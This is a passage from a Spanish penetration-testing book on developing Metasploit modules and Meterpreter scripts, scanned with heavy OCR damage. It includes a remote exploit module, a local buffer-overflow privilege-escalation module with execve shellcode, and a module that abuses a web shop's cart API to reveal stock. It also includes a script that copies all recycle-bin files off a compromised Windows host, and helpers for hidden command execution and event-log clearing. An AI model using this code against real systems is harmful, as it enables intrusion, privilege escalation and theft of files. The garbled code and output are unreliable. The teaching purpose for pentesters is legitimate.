Fig: 9.01: Módulo de tipo remoto.
def check
return Exploit::CheckCode: :Vulnerable
end
def exploit
connect
buf = payload.encoded
sock.put (buf)
sock.gethandler
end
El método check debe implementar las acciones para comprobar si existe vulnerabilidad, por ejemplo
si la versión del servidor remoto es vulnerable. En este caso se devuelve siempre que es vulnerable,
pero se debería implementar alguna condición para comprobar este hecho.
Por otro lado se dispone la función exploit. En este método se utiliza connect para conectar y crear
el socket TCP con la dirección IP que se indique en RHOST. Una vez se ha creado el socket, se debe
crear el buffer que se enviará a la aplicación remota vulnerable. En este caso se le pasa el payload
encodeado.
Generalmente, se necesita preparar el buffer, por ejemplo en un caso de buffer overflow. En resumen,
se podría decir que en el buffer se necesitará lo siguiente buffer = basura + ret + shellcode, por
ejemplo. En este caso, buffer = shellcode, ya que se sabe que el servidor ejecutará directamente el
código, sin necesidad de cambiar el flujo para ejecutar la shellcode. Por último, se envía el buffer
por el socket, y se lanza el handler por si se recibe la conexión inversa.
•••
Capítulo IX Introducción al desarrollo en Metasploit
En el lado del servidor, escrito por ejemplo en lenguaje C, cuando se recibe el buffer el contenido es
ejecutado a través de la siguiente función:
void x(char * Recv)
Se disponen de mixins que permiten incluir cases dentro de las propias clases. En otras palabras,
se consiguen funciones que son útiles para el desarrollador, las cuales provienen de otras clases.
Existen algunos mixins ya predefinidos en elframework, por ejemplo los que pueden encontrarse
en lib/msj!core.
Un ejemplo sería la instrucción "include Msf :Exploit::Remote::TCP" con el que se añaden las
funciones para utilizarse directamente.
A continuación se muestran algunos mixins utilizados en este tipo de módulos:
Exploit: :Remote: :TCP
Exploit::Remote: :SMB
Exploit: :Remote::HttpClient
Exploit::Remote: :BruteTargets
Exploit::Remote: :FILEFORMAT
Exploit: :Remote::Seh
� exploit(pablo) > set RHOST 192.168.1.39
RHOST => 192.168.1.39
� exploit(pablo) > exploit
•••
Metasploit para Pentesters
Es importante recalcar la línea MSF::Exploit::Local. En este apartado hay que recordar que es una
prueba de concepto, y que no es una aplicación real lo que se vulnera.
El siguiente ejemplo ha sido escrito por Miguel Ángel García. El comienzo del módulo y la función
initialize se puede comprobar a continuación, es similar a la que se ha podido estudiar en el apartado
anterior.
require 'rnsf/core'
require 'rex'
El constructor realiza la asignación de los atributos que definen las posibilidades que puede llevar
a cabo el módulo. Como siempre se encuentran los atributos administrativos o descriptivos del
módulo, pero hay otros atributos interesantes como son Platform, SessionTypes o Payload. El
framework proporcionará un conjunto de payloads válidos en función del valor de dichos atributos.
El atributo target permite indicar posibles objetivos que el usuario podrá seleccionar en la
configuración del módulo. Se dispone de register_options para crear nuevos atributos o sobrescribir
alguno, en este caso se crea el atributo exec_file, que hace referencia a la ruta de la aplicación local
que es vulnerable, la cual permite la elevación de privilegio.
•••
Capítulo IX Introducción al desarrollo en Metasploit
Por último, se presenta el código de la función exploit, la cual será ejecutada sobre la sesión que se
le indique.
def exploit
junk_space 21
nops space 4
path = datastore["exec_file"J
nops = "\x90" * nops_space
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\
x50\x53\x89\xel\xb0\x0b\xcd\x80"
junk = "A" * (junk_space - nops space)
eip = "\x50\xf2\xff\xbf"
Hay que destacar algún detalle relevante en esta porción de código. La variable datastore["exec_
file'], es la que permite acceder a las opciones que ha configurado el usuario en el módulo. La
shellcode utilizada podría sustituirse por otra, o por payload.encoded permitiendo al usuario utilizar
un payload que haya seleccionado.
Cuando se ejecute el módulo, la función exploit utilizará la sesión en la que se encuentre el usuario
en la máquina remota, por ejemplo el identificador 1 de sesión, y lanzará el exploit local sobre el
path de la aplicación vulnerable. Si éste tiene éxito se obtendrá una elevación de privilegio en la
máquina.
Tipo: Auxiliary
Este tipo de módulos añaden funcionalidades que pueden resultar de interés en un pentest, pero
que no están directamente involucradas con la explotación, tal y como se ha visto en los apartados
anteriores. Estos módulos pueden ser programados a partir de la clase Msf :Auxiliary.
•••
l!il Metasploit para Pentesters
def initialize
super(
'Name' => 'Detector de Stock',
'Description' => 'Configura cantidad de prod. y el ID de producto. Se detecta
el Stock',
'Author' => ['Pablo González'),
'License' => MSF LICENSE
register options([
OptString.new("Cantidad", [true, "Número máximo producto",
"1000"]),
OptString.new("Producto",[true, "ID del producto", nil)),
],self.class)
end
El mixin register_options permite registrar nuevos atributos del módulo, en este caso se añade el
atributo cantidad y producto. Hay que entender que el valor booleano true indica la obligatoriedad
de darle un valor a este atributo. El valor ni! indica que por defecto no tiene asignado un valor dicho
atributo, por lo que si es obligatorio antes de ejecutar el módulo se deberá indicar un valor.
def run_host(target_host)
begin
res = send_request cgi({
'version' = > '1.1',
La función run_hostes la que implementa el comportamiento del comando run en un módulo de este
tipo. La función send_request_cgi es muy importante ya que permite generar una petición HTTP,
como puede visualizarse en el código con mucho detalle. La elección del método, de la URI, la
versión del protocolo HTTP, el host, user-agent, etcétera. Toda la petición HTTP es personalizable.
El objetivo en este módulo es la de realizar una petición para conseguir una sesión, cookie, con
la que posteriormente realizar el cálculo de stock. La respuesta del servidor es almacenada en la
variable res.
encontrado = false
cookie = res['Set-Cookie']
•••
while not encontrado
Capítulo IX Introducción al desarrollo en Metasploit ID
ressend_request cgi({
'version' => 'l. l 1 ,
'uri' => '/?rand=l406636179113',
'method' => 'POST',
'vars_post' => {
'controller' => "cart",
'add 1 => "1",
'ajax' => "true",
'qty' => datastore['Cantidad'J,
'id_product' => datastore['Producto'],
'token' => "92e906b0cf0a-
34478c3e2ebl259169bc",
},
'headers' =>
Tras conseguir la cookie en la respuesta por parte del servidor, se entra en un bucle con el fin de
realizar las peticiones necesarias para comprobar el stock, disminuyendo la cantidad del producto
hasta que la respuesta sea afirmativa por parte de la tienda. Es importante no realizar demasiadas
peticiones, recomendando optimizar el algoritmo con búsqueda dicotómica o insertando sleep cada
5 o 10 peticiones.
La nueva petición que se genera en el interior del bucle es de tipo POST y lleva incluida la cookie
de sesión obtenida en la petición anterior. Por otro lado, los parámetros que se pasan al servidor
por POST son albergados en vars__post como una tabla "clave => valor". El último parámetro de la
función send_request_cgi es el timeout que se proporciona.
Por ejemplo, si se quiere acceder a la configuración de los atributos que el usuario ha realizado, se
debería invocar datastore['atributo '}.
json = JSON.parse(res.body)
if json["hasError"J
if datastore['Cantidad'] .to i == O
print_good("Producto sin stock")
encontrado = true
else
print_status("quedan...")
datastore['Cantidad'J = (datastore['Cantidad'] .to i
- 1) .to_s
end
•••
else
111 Metasploit para Pentesters
print_good("Encontrado")
print_good("Quedan:#{datastore['Cantidad'J}")
encontrado = true
end
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,
::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
Una vez se ha obtenido la respuesta del servidor, en este caso la respuesta viene en algo que se puede
convertir a JSON. Tras parsearlo, se comprueba si el campo hasError es cierto o falso, en caso de
ser falso se ha encontrado el número del stock, si es cierto entonces todavía quedan productos. Si
quedan productos hay que disminuir la cantidad de producto para en la siguiente iteración realizar
una petición con menor cantidad.
Una vez se encuentra el stock disponible se asigna true a la variable encontrado, por lo que se puede
salir del bucle.
[*] quedan.. .
[*] quedan.. .
[*] quedan .. .
[+] Producto sin stock X
[*] Scanned 1 of 1 hosts (1GG% complete)
[*] Auxiliary module execution completed
sf auxiliary(zer) > set Producto 65
roducto => 65
> set Cantidad 900
> run
[*] quedan.. .
[*] quedan ...
[*] quedan ...
[*] quedan ...
[*] quedan .. .
[*] quedan.. .
[+] Ene ontrada
[+] Quedan:889
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
sf auxiliary(zerr) >
•••
Fig 9.03: Ejecución del módulo auxiliary para comprobar stock en tienda .
Capítulo IX Introducción al desarrollo en Metasploit
3. Meterpreter
Escribir código para Meterpreter es una de las partes interesantes del desarrollo en términos de
post-explotación. Gracias al sin fin de posibilidades que proporciona el objeto client, instancia de
Meterpreter por así decirlo, y la posibilidad de realizar scripts y módulos se consigue una flexibilidad
en lo que a nuevas funcionalidades de la shellcode se refiere muy interesante.
El objeto client
El IRB es el intérprete de Ruby con el que el desarrollador puede ejecutar instrucciones en
Ruby y obtener los resultados en pantalla de manera rápida. Es altamente recomendable que los
desarrolladores puedan utilizar el entorno cuando escriben código. Meterpreter proporciona al
auditor un intérprete con el que interactuar de manera directa en la máquina comprometida.
>> cllent
=> #<Sesslon:�eterpreter 192.168.1.43:1032 (192.168.1.43) "NT AUTHORITY\SYSTEM@
PRACTICAS -PC">
» 1
Fig 9.04: Ejemplo de ejecución del IRB.
Al arrancar el IRB en una sesión de Meterpreter, por ejemplo, se disponen de diferentes objetos.
El más importante es el objeto client, el cual representa la máquina vulnerada y proporciona un
gran número de acciones que se irán explicando en este apartado. Existen algunos comandos que se
proporcionan en el IRB de Meterpreter, como por ejemplo context, extensions o command.
El comando extensions alberga las extensiones que hay cargadas actualmente en Meterpreter. El
comando commands proporciona una serie de órdenes que pueden ser utilizadas en la consola de
Meterpreter. Por último, el comando context alberga el contexto en el que se encuentra la shellcode
y los objetos disponibles en el IRB, dando información sobre atributos y métodos que pueden ser
interesantes.
Hay que recalcar, ya que en el futuro desarrollo puede ser útil, ¿Por qué algunos comandos devuelven
la información entre [ ] y otro con {}? Al final es Ruby.
•••
ID Metasploit para Pentesters
El objeto client es el más importante y el que proporciona el control remoto sobre la máquina
vulnerada. Meterpreter se comporta como un cliente y servidor, pero ahora se necesita bajar un
peldaño para comprobar cómo descubrir métodos o ejecutar éstos.
Si el desarrollador ejecuta en el IRB el objeto client sin más, el intérprete devolverá que existe una
sesión abierta con una dirección IP y una identidad, privilegios, sobre el sistema vulnerado. La
invocación del método methods sobre el objeto client permite conocer qué métodos tiene disponibles
el objeto. Es importante esto último, ya que proporciona conocimientos sobre qué acciones se
pueden llevar a cabo.
>> cllent
=> #<Sesslon:l'leterpreter 192.168.1.43:1832 (192.168.1.43) "NT AUTHORITY\SYSTEM �
PRACTICAS_-PC">
>> cllent.�ethods
=> [:core, :fs, :sys, :net, :rallgun, :webcal'l, :ui., :prlv, :lookup_error, :suppo
rts_ssl?, :supports_zllb?, :type, :shell_lnlt, :shell_read, :shell_wrlte, :shell
_close, :shell_col'l�and, :cleanup, :dese, :execute_flle, :lni.t_ui., :reset_ul, :kl
ll, :queue_cl'ld, :run_cl'ld, :load_stdapl, :load_prlv, :load_sesslon_i.nfo, :_lntera
et, :create, :platforl'l, :platforl'l=, :blnary_sufflx, :blnary_sufflx=, :console, :
console=, :sklp_ssl, :sklp_ssl=, :target_i.d, :target_i.d=, :rstreal'l, :rstreal'l=, :
execute_scrlpt, :shell_read_untll_token, :shell_col'l!'land_token, :shell_col'll'land_to
ken_unlx, :set_shell_token_lndex, :shell_col'll'land_token_wln32, :chalnable?, :regl
ster_event_handler, :dereglster�event_handler, :each_event_handler, :notlfy_befo
re_socket_create, :notlfy_socket_created, :handlers, :handlers=, :handlers_rwloc
k, :handlers_rwlock=;_:lnteractlve?, :tunnel_local, :tunnel_peer, :rlng, :rlng=,
:_i.nterrupt, :_suspend, :_lnteract_co�plete, :user_want_abort?, :i.nteract, :det
ach, :lnteractlng, :l�teracti.ng=, :co�pleted, :col'lpleted=, :on_prlnt_proc, :on_p
rlnt_proc=, :on_col'l�and_proc, :on_co��and_proc=, :orlg_suspend, :orlg_suspend=,
•••
Fig 9.06 : Ejecución del método methods en el objeto clienl.
Capítulo IX Introducción al desarrollo en Metasploit
Con la ejecución del método methods se obtiene un listado de paquetes importantes como son core,
fs, sys, net, railgun, webcam, ui, priv, entre otros.
¿Cómo saber si es una clase final o no? Se debe ejecutar, por ejemplo, client.fs y clientjsjile y se
obtienen dos tipos de salida.
En la primera salida se observan tres tipos de elemento dir,file yfilestat, mientras que en la segunda
se ve directamente la clase.
I>> cli.ent.fs
�> #<Rex::Post::Meterpreter::ObjectAli.ases:exeb7bece @ali.ases={"di.r"=>#<Class:ex
•b7c666>, "fi.le"=>#<Class:exeb7ced8>, "fi.lestat"=>#<Class:exeb7b3b8>}>
1>> cli.ent.fs.fi.le
�> #<Class:exeb7ced8>
I>> 1
Fig 9.07: Detección de clase final.
Se tiene que tener en cuenta que existen funciones dentro de una clase y que proporcionan información
de provecho a la hora de escribir, por ejemplo, scripts. Utilizando sys a través del objeto client, se
ejecuta la siguiente instrucción de ejemplo client..sys.process.get_yrocesess.
>> cli.ent.sys
=> #<Rex::Post::Meterpreter::objectAli.ases:exeb7925c @altases={"confi.g"=>#<Rex::
Post::Meterpreter::Extensi.ons::Stdapt::Sys::Conftg:exeb7aeee @cli.ent=#<Sessi.on:�
eterpreter 192 .168.1.43:1632 (192.168.1.43) "NT AUTHORITY\SYSTEM @ PRACTICAS_ -PC
">>, "process"=>#<Class:exeb7ae40>, "regi.stry"=>#<Class:exeb7a56c>, "eventlog"=>
#<Class:exeb799c8>, "power"=>#<Class:exeb79568>}>
>> procesos = cltent.sys.process.get_processes
=> [{"pi.d"=>6, "pptd"=>e, "na�e"=>"[Syste� Process]", "path"=>"", "sessi.on"=>429
4967295, "user"=>"", "arch"=>""}, {"pi.d"=>4, "ppi.d"=>El, "na�e"=>"Syste�", "path"
=>" .. "sesst.on"=>e "user"=>"" "arch => x86 }, { pld"=>264, "ooi.d"=>4, "naMe"=>
11 11 11
11
Es importante conocer las estructuras básicas del lenguaje de programación Ruby para poder sacar
el máximo provecho a lo que se quiera o requiera programar en este ámbito.
Por ejemplo, si se quiere pintar los procesos de la máquina comprometida de una forma más intuitiva
mediante la representación de su PID y nombre se debe analizar el formato en el que se devuelve la
ejecución del método.
Lo primero que se puede visualizar es que los procesos se devuelven en una lista o array, pero
analizando el interior de esta lista se puede visualizar que cada proceso está formado por elementos
"clave => valor".
procesos.each do lpl
print line "PID: #{p['pid']} Nombre: #{p['name']}"
end
•••
•!J:j Metasploit para Pentesters
Métodos útiles
En este apartado se listan diferentes tipos de métodos que pueden ser invocados desde el objeto
client. Este resumen ayuda a disponer de un listado amplio de funcionalidades, pero no hay que
olvidar que con lo aprendido en el apartado anterior se puede hacer una revisión, ya que pueden
existir nuevas clases en nuevas versiones delframework.
Métodos de client.fs.dir:
•••
Capítulo IX Introducción al desarrollo en Metasploit 111
Método Descripción Ejemplo
Elimina el directorio solo si está
client.js.dir.delete client.js.dir.delete("c: 1\oldman'')
vacío.
Elimina el directorio solo SI está
clientft.dir.rmdir client.js.dir.rmdir("c: 1\oldman '')
vacío.
Descarga todos los archivos
que hay dentro del directorio de
client.fs. dir. download("/root/
client.js. dir. download la víctima y lo almacena en la
oldmanlab/", "e:1\oldman '')
ruta local proporcionada por el
atacante.
Métodos de clientft.file:
•••
IJ:n• Metasploit para Pentesters
Métodos de client.net.config:
Métodos de client.sys.config:
•••
Capítulo IX. Introducción al desarrollo en Metasploit
Scripts
Los scripts de Meterpreter permiten al auditor de disponer de herramientas que otros no dispone.
En un momento dado, se puede necesitar de realizar acciones sobre el equipo comprometido, que
quizá no se dispongan en elfra mework o en el propio payloa d. Es por esta razón, que es bastante útil
disponer de la posibilidad de crear un script para Meterpreter.
opts = Rex::Parser::Arguments.new(
"-h" => [false, "Help menu."J,
"-s" => [true, "Mostrar mensaje en Metasploit"J)
if client.platform !- /win321win64/
print_line "No compatible"
raise Rex::Script::Completed
end
•••
fJ:fj Metasploit para Pentesters
Para entender el código con más facilidad se va a desglosar por partes y explicándose. Los
comentarios vienen precedidos por el símbolo "almohadilla".
En primer lugar hay que detallar que el constructor new de la clase Rex::Parser: :Arguments permite
crear y especificar los argumentos que tendrá el script.
opts = Rex::Parser::Arguments.new(
"-h" => [false, "Help menu."],
"-s" => [true, "Mostrar mensaje en Metasploit"])
La variable opts alberga el objeto de clase Arguments. En el constructor se le puede pasar un número
grande de parámetros. El primer parámetro que se pasa es "-h" => [false, "Help menú''}, mientras
que el segundo es "-s" => [true, "Mostrar mensaje en Metasploit''}. Los argumentos son separados
por comas.
¿Qué está ocurriendo realmente? El objeto opts tiene definidos los argumentos que espera el script
y si éstos recibirán algún tipo de información. Esto último es indicado por el valor booleano true o
false. Con los valores true o false se indica si el parámetro recibirá algún tipo de información o no,
es decir, con true el parámetro llevará asociado un valor, mientras que false no lleva valor asociado.
opts.parse(args) { 1 opt, idx, val I
print_line "val: #{val}"
print_line "idx: #{idx}"
print_line "opt: #{opt}"
case opt
when "-h"
print_line "Ayuda de mi script de Meterpreter"
print_line "Meterpreter RuLeZ"
print_line(opts.usage)
raise Rex::Script::Completed
when "-s"
if val != nil
print line "#{val}"
end
end}
Este segundo fragmento de código sigue ejecutándose en tomo al objeto que se ha creado
anteriormente. Con el método parse se puede realizar un "parseo" de los parámetros de la entrada.
La línea "opts.parse(args) { lopt,idx,val!" lo que está indicando es que se parsean los argumentos de
entrada en la ejecución del script. Además, por cada parámetro que se introduce en la ejecución del
script se van asignando tres variables, las cuales son opt, idx y val .
•••
Capítulo IX Introducción al desarrollo en Metasploit
¿Qué almacenan dichas variables? Esto es algo importante, ya que la variable optes la que marca
qué parámetro es el qué se está ejecutando, por ejemplo, en este caso el valor de "-h", en la primera
iteración, y "-s", en la segunda iteración.
La variable idx indica el número que ocupa el argumento en la iteración, es decir, tendrá asignado el
valor O para el primer parámetro, pero si este tiene un valor asociado el siguiente valor de idx será 2,
ya que la posición 1 es del texto asociado al parámetro anterior.
La variable val contiene el valor del parámetro asociado, es decir, en este caso el parámetro "-s"
tendrá una variable con un valor concreto, el cual podrá ser tratado en el proceso.
Después se encuentra la instrucción case, con este switch se identifica el valor que tiene la variable
opten cada iteración. En función de este valor se irá por una rama u otra del case. Cuando la variable
opt valga "-h" se ejecutará el menú de ayuda, por el contrario cuando valga "-s" se ejecutará la
opción de salida por pantalla de un texto que se pasa como valor de un argumento.
OPTIONS:
-h Help menu.
-s <opt> Mostrar mensaje en Metasploit
Como se puede observar en la ejecución del script en una sesión de Meterpreter el parámetro "-h"
muestra el menú diseñado. Además, se ha escrito en el código, a modo de debug, que se imprima por
pantalla el valor de las variables val, idx y opt.
Garbage Collector
Este ejemplo, ayudará a que el lector pueda dar un salto cualitativo en la forma de realizar scripts,
presenta código que consigue descargar todos los archivos y carpetas que se encuentren en la
papelera de reciclaje de todos los usuarios de un sistema comprometido.
Este script puede ser de utilidad, ya que en muchas ocasiones se deja información importante en la
papelera de reciclaje, sin llegarse a eliminar.
•••
Metasploit para Pentesters
Para un mejor entendimiento de las partes del script se presenta el código por fragmentos. Éstos
pueden ser unidos en un fichero para su posterior ejecución o descargado del repositorio oficial de
Metasploit https ://dev.metasploit. com/redmine/issues/8057.
#Author: Pablo González
#Windows Garbage Collector vl
if client.platform !- /win321win64/
print line "No compatible"
raise Rex::Script::Completed
end
opts Rex::Parser::Arguments.new(
"-h" => [false, "Help menu"J,
"-g" => [false, "GarbageCollector"],
"-o" => [false, "Only Files"]
info = client.sys.config.sysinfo()
if info['OS'] =- /Windows XP/
garbage 'c:\\Recycler\\'
else
garbage 'c:\\$Recycle.bin\\'
end
OPTIONS:
-g GarbageCollector
-h Help �enu
-o Only Files
�eteroreter > 1
Fig 9.11: Menú de ayuda del script.
Después de esto, se diferencia si el sistema es versión 5.x o 6.x, para ver si es una versión XP de
Windows o uno de la familia Vista/7/8. Ocurre de forma para las versiones servidor de Windows.
Esto es debido a que la papelera de reciclaje se encuentra en una ubicación distinta, en función de
la versión .
•••
Capítulo IX Introducción al desarrollo en Metasploit
if !File.exists?(i)
Dir.mkdir("-/"+i)
end
client.fs.dir.download("./"+i, garbage+i)
end
end
En esta parte del código se parsean los parámetros que el usuario haya introducido en la ejecución del
script. En el caso de introducir el parámetro "-g" se llama a una función denominada downloading,
la cual se explica más adelante. En caso de introducir el parámetro "-o" se realiza un listado de la
ruta almacenada en la variable garbage y se realiza la descarga de lo encontrado en la papelera.
Hay que tener en cuenta que la opción "-o" se corresponde con la descarga de solo ficheros, por lo
que no se profundiza en los posibles directorios encontrados en la papelera.
def downloading(remoto,local)
print_status remoto
dirs = client.fs.dir.entries_with_info(remoto)
dirs.each do ldl
next if d["FileName"] == "," 11 d["FileName"]
mode = d["StatBuf"].stathash["st_mode"]
if mode.to s =- /( 16) 1 ( 1 7) /
A A
client.fs.dir.download(local+"/"+d["FileName"],d["FileP
ath"])
downloading(d["FilePath"],local+d["FileName"]+"/")
else
print status "It is a file l{mode} #{d["FilePath"] }"
•••
ll=tl Metasploit para Pentesters
client.fs.file.download(local+"/"+d["FileName"],d["FileP
ath"J)
end
end
end
La función downloading es utilizada cuando se quiere descargar los archivos y carpetas de manera
recursiva de la papelera. Además, como se puede visualizar en el código se realiza una llamada sobre
la propia función de forma recursiva. En cuanto se encuentra un directorio dentro de la papelera,
como se puede visualizar en la condición "if mode.to_s =-/('16)1(1'17)/', se lanza de nuevo la
función de forma recursiva.
Para realizar un listado inicial de la papelera se utiliza el método entries_with_info, con el que se
puede decidir si el elemento que se analiza es una carpeta o un fichero. En caso de ser un directorio
se debe crear en local, en la máquina del atacante, y realizar la descarga de lo que existe dentro. En
el caso de ser un fichero, simplemente se realiza la descarga del elemento.
Meterpreter > run /hoMe/pablo/ruby/garbageCollector.rb -g
[*] Recurslve Downloading Garbage...
[*] c:\Recycler\
[*] It ts a dtrectory 16895 c:\Recycler\\S-1-5-21-1606980848·926626266·1957994488·1065
[*] c:\Recycler\\S-1·5-21·1606986848·926026266·1957994488-1665
[*] It is a file 33206 c:\Recycler\\S-1·5·21-1666980848-920626266·1957994488-1665\Dc1.lnk
[*] It is a file 33206 c:\Recycler\\5·1·5·21·1666980848-920626266·1957994488·1665\desktop.ini
[*] It is a file 33206 c:\Recycler\\5·1·5·21·1666986848-926626266-1957994488·1665\INF02
[*] It is a directory 16895 c:\Recycler\\S-1-S-21·1666986848-926626266·1957994488·566
[*] c:\Recycler\\S·l-5-21·1606986848·926626266-1957994488-566
[*] It ts a file 33206 c:\Recycler\\5·1·5·21·1666986848·920626266·1957994488-566\Dcl.rb
[*] It ts a ftle 33206 c:\Recycler\\5·1·5·21-1666986848·926626266·1957994488-566\Dc4.txt
[*] It is a file 33266 c:\Recycler\\S-1·5·21·1666986848·926626266-1957994488-566\DcS
[*] It is a directory 16895 c:\Recycler\\S-1-5·21-1606986848-926626266·1957994488-See\Dc7
[*] c:\Recycler\\S·l-5·21·1666980848·926626266-1957994488-560\Dc7
[*] It is a file 33206 c:\Recycler\\S-1·5·21·1666986848-920626266-1957994488-566\Dc7\Eula.txt
[*] It ts a ftle 33279 c:\Recycler\\5·1-5·21·1666986848-920626266-1957994488-566\Dc7\PsExec.exe
[*] It is a file 33279 c:\Recycler\\5·1·5·21·1666986848-926626266-1957994488-566\Dc7\psfi.le.exe
[*] It is a file 33279 c:\Recycler\\5·1·5·21-1666986848·920626266-1957994488·566\Dc7\PsGetsid.exe
[*] It is a file 33279 c:\Recycler\\5·1·5·21·1666986848-920626266·1957994488-566\Dc7\Psinfo.exe
[*] It is a file 33279 c:\Recycler\\5·1·5·21·1666986848·920626266-1957994488-566\Dc7\pskill.exe
[*] It is a file 33279 c:\Recycler\\5·1·5·21-1666986848·920026266-1957994488-500\Dc7\pslist.exe
[*] It is a file 33279 c:\Recycler\\5·1·5·21·1606986848-920626266·1957994488-500\Dc7\Psloggedon.exe
[*] It is a file 33279 c:\Recycler\\5·1·5·21·1606980848·920626266-1957994488-566\Dc7\psloglist.exe
[*] It is a file 33279 c:\Recycler\\5·1·5·21·1666986848-920626266·1957994488-5ee\Dc7\pspasswd.exe
[*] It ts a file 33279 c:\Recycler\\5·1·5·21·1666986848·926626266·1957994488-566\Dc7\psping.exe
[*] It is a file 33279 c:\Recycler\\5·1·5·21-1666986848·926626266-1957994488-566\Dc7\PsService.exe
[*] It is a file 33279 c:\Recycler\\S·l-5·21-1666986848·926626266-1957994488-566\Dc7\psshutdown.exe
[*] It is a file 33279 c:\Recycler\\5·1·5·21·1666986848-926626266·1957994488-566\Dc7\pssuspend.exe
[*] It ts a file 33266 c:\Recycler\\S·l-5·21-1666986848·926626266-1957994488-566\Dc7\Pstools.chM
[*] It is a file 33266 c:\Recycler\\5·1·5·21·1666986848-920626266-1957994488-566\Dc7\psversion.txt
[*] It is a file 33206 c:\Recycler\\S-1·5·21-1666980848·920626266·1957994488-566\desktop.lni
[*] It is a file 33206 c:\Recycler\\5·1·5·21·1666980848-920626266-1957994488-566\INFOZ
Meterpreter > 1
Fig 9.12: Ejecución y recuperación de la información de la papelera de reciclaje.
Generalmente, cuando un pentester realiza la explotación de un sistema, algunas de las primeras
tareas que debe realizar es la recolección de información de forma automatizada, por ejemplo
mediante el lanzamiento de scripts como son winenum o scraper. Otro de los scripts que se pueden
añadir a éstos en la recblección es el de garbage collector .
•••
Capítulo IX Introducción al desarrollo en Metasploit
La potencia del scripting para Meterpreter hace que elpentester pueda tener su batería de scripts,
y que éstos puedan ser lanzados al obtener sesión en un sistema comprometido. Esto es realmente
interesante y extremadamente potente.
pablo@pablo-VlrtualBox:-S pwd
/hol'le/pablo
pablo@pablo-VlrtualBox:-S ls S-1-5-21-1666986848-926626266-1957994488-*
S·l-5-21-1666986848-926626266-1957994488-1665:
Dcl.lnk desktop.lnl INF02
S-1-5-21-1666986848-926626266-1957994488-566:
Dcl.rb Dc4.txt Des Dc7 desktop.lnl INF02
pablo@pablo-VlrtualBox:-S I
Fig 9.13: Archivos recuperados de la máquina comprometida.
Mixins
Los mixins son llamadas que proporcionan las tareas más utilizadas y comunes que un desarrollador
puede necesitar en el desarrollo de código para Meterpreter. El objetivo fundamental de los mixins
es simplificar la interacción con la máquina vulnerada.
Mixin Descripción
cm d_exec(com ando) Ejecuta el comando proporcionado de manera oculta
Elimina los eventos pasados como argumento. Si no se pasa
eventog_ clear(evento)
ninguno se eliminarán todos
eventlog_listO Enumera los tipos de logs de eventos
is_uac_enabled?O Indica si el User Account Control está habilitado
is_admin?O Indica si el usuario con el que se ejecuta Meterpreter es admin
registry_enumkeys (key) Enumera las subclaves de una clave de registro
service_info(nombre) Lista información sobre los servicios de Windows
service_listO Lista todos los servicios de Windows
service_start(nombre) y
Arranca y detienen un servicio que se pasa como argumento
service_stop(nombre)
file_local_digestm d5 (archivo) Devuelve el hash MD5 de un archivo
fi l e_ l o c a l _wri t e ( o ri g e n,
Escribe un string como origen en un fichero
fich ero)
Tabla 9.05: Mi.xins de Meterprete,:
•••
11:J:I Metasploit para Pentesters
A continuación se propone un código sencillo de ejemplo. En este ejemplo se trata el mixin cmd_
exec, el cual ejecutará en una cmd una instrucción en concreto. El resultado será mostrado en la
máquina del atacante.
#Autor: Pablo González
#Windows Mensaje cmd remoto
opts = Rex::Parser::Arguments.new(
"-h" => [false, "Help menu."],
"-s" => [true, "Mostrar mensaje en remoto"]
if client.platform !- /win32Jwin64/
print_line "No compatible"
raise Rex: :Script: :Completed
end
La sintaxis del mixin es sencilla, el primer parámetro indica qué aplicación se lanzará, mientras que
el segundo indica la orden, o argumento, que se ejecutará en la aplicación.
•••
Github y poder subir los desarrollos para que otros usuarios puedan utilizarlos en su Metasploit. En
Capítulo IX Introducción al desarrollo en Metasploit
este apartado se va a proceder a explicar cómo crearse un repositorio para poder partir de la base de
una versión oficial delframework.
En primer lugar, es necesario crearse una cuenta en un repositorio como Github. Para ello en el sitio
web http://github.com se dispone de esta posibilidad.
Para el libro se ha creado una cuenta denominada pablogonzalezpe, por lo que para acceder a los
repositorios, siempre que sean públicos, se debe acceder a través de la siguiente dirección URL
http://github.com/pablogonzalezpe.
Welcome to GitHub
You've taken your first step into a larger world, @pablogonzalezpe.
https://github.com/rapid7/metasploit-framework
o
..
" This reposrtory ... Seardl or type a commarid e Explore Gist Blog Help _ pablogonzalezpe +· :)( ¡;�
•••
Índice alfabético IWI
Indice alfabético
Símbolos footprint 27
0-day 15,33 fork 289
fuzzers 22,42
A
J\PI 22,82, 146,147 G
arquitectura 21,23,66,85, 104,162,166,182, garbage 284,285,286
191,257,264,265 gather 115,116,117,262
Github 288,289
B
banner 29,48,196,251 H
Black Role 78,79 hashes 66,86,87,107,109,110,117, 125,
buffer 14,16, 105,127,173,174,197,268, 126,131,133,134,135,145
269
bug 13,253,259 1
bugs 253,259 Informática 64 212,213
bytes nulos 15,20,192 ingeniero social 199,200
inline 66
e IPv6 303
check 34,70,165,266,268 irb 33,146
Client side attack 72
core commands 31,99 J
José Selvi 91,92,253
D
DEP 20,67 K
downloading 285,286 Kevin Mitnick 200
E L
EIP 173,197 LM 64, 132,133
Eleonore 79
M
ESP 173,174, 175
MBSA 54,57
exploitation 166
Memdump 197
exploiters 161, 170
Metsvc 139
F Microsoft SQL Tools 236
File-Format 214 mixins 269,287
fingerprint 23,41,49,229 Moxie Malinspike 259
Msf tools 162
•••
1#1 Metasploit para Pentesters
N w
NoNX 67 WAMP 79,80
NOP 23 Whois 42
Nslookup 43 Windows Credential Editor 135,136
NT 64, 132, 272, 273 winenum 109,11O,111,286
WPA 114
o
open source 17, 23 X
opts 281,282,284,285,288 XOR 15,21
xss 14,16
p
PID 104,121,137,144,153,197,277
PowerShell 303
R
railgun 114,146,147
Railgun 114,146,147
resource 35,82,83,85,86,100
RETN 21,173,174
Rogue 86,87,88,254,256,257,258
Rubén Santamarta 75,76,78
ruby 246
Ruby 14,17,22,33,73,82,85,93,94,170,
172,247,265,266,275,277
s
scraper 145,286
scripting 85,229,287
sniffers 22
SQL 14,16,79,227,229,236,237
SQL lnjection 303
SQLPwnage 237
ssh 63
SSH 63,195,246,252
staged 66,170,171
stager 146,152
Stdapi 99,101
system commands 102
T
Tabnabbing 207
Timestomp 106,107
tokens 23,109,110,116,124, 125
tutoriales 229,231,232,233
•••
Índice de imágenes y tablas
ID
Indice de imágenes
•••
''' Metasploit para Pentesters
•••
